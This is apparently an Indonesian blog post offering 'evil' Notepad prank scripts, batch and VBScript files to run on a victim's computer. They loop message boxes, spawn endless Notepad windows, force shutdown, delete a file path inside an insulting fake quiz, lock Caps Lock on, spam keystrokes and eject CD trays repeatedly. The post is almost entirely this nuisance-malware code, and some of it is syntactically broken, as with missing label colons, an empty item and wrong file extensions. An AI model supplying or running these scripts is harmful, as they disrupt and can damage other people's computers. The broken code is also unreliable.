trik jahat notepad perusak software

trik jahat notepad, program notepad, ini menggunakan fungsi perulangan, jika proses selesai dia akan kembali ke awal.. kalau di jalankan proses nya tidak akan berhenti, dan akan terus - menerus menerus di ulang( fungsi Do loop). . cara menghentikan nya.. buka task manager(ctrl+alt+del), lalu matikan proses dari script berjalan..

yang berekstensi *.bat

1. pesan mesege yang keluar terus menerus
@ECHO off:
Begin
msg * berbaik hati itu penting
msg * berbaik hati lah kamu ke semua orang
msg * agar suatu saat kamu di hargai orang
msg * dan mendaptkan kebaikan dari orang tersebut
msg * and bebaik hati lah sekarang
GOTO BEGIN

save as terserah yang penting ada .bat nya

2. membuka aplikasi terus menerus, apa saja deh, tapi disini aku mau buka  program notepad, terus menerus
@ECHO off:
top
START %SystemRoot%\system32\notepad.exe
GOTO top

save as terserah yang penting ada .bat nya

3. kuis
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save as terserah yang penting ada .bat nya

4. Bikin komputer korban shutdown dan message box keluar

copy:

@echo off
msg * matiin ya

shutdown -s -c “eroor”

save as terserah yang penting ada .bat nya

 sekarang yang berekstensi *.vbs

1. buka vbs terus menerus
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save as terserah yang penting ada .vbs nya

2. buka caplocs terus menerus


save as terserah yang penting ada .bat nya

3. Membuat Capslock terus menyala
copy:

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

save as terserah yang penting ada .bat nya

4. Membuka dan menutup CD/DVD komputer korban

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

 save as terserah yang penting ada .bat nya